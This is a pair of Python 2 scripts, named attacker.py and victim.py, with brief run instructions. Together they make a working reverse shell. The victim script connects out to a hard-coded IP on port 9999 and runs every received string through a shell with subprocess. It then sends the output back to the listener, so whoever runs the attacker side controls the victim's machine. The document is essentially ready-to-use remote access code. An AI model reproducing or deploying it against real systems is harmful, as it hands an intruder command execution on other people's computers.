##nano attacker.py 
    
  import socket
  
  host = '0.0.0.0'
  port = 9999
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  s.bind((host, port))
  s.listen(5)
  
  client_socket, (client_ip, client_port) = s.accept()
  
  while True:
  
  	command = raw_input("$ ")
  	client_socket.send(command)
  
  	if(command == "quit" or command == "exit"):
  		break
  
  	data = client_socket.recv(1024)
  	print data
  
  client_socket.close()
  

  ##nano victim.py 
  
  import socket
  import os
  import subprocess
  
  host = '172.16.60.72'
  port = 9999
  
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  s.connect((host, port))
  
  while True:
  
  	data = s.recv(1024)
  
  	if(data == "quit" or data == "exit"):
  		break
  
  	if(data.split()[0] == "cd"):
  		os.chdir(data.split()[1])
  		print("Directory changed to: " + os.getcwd())
  
  	else:
  
  		cmd = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  		cmd_output = cmd.stdout.read() + cmd.stderr.read()
  		s.send(cmd_output + os.getcwd())
  
  
  

  First run $python attacker.py keep it running
  Second run $python victim.py ##be sure that you modified your IP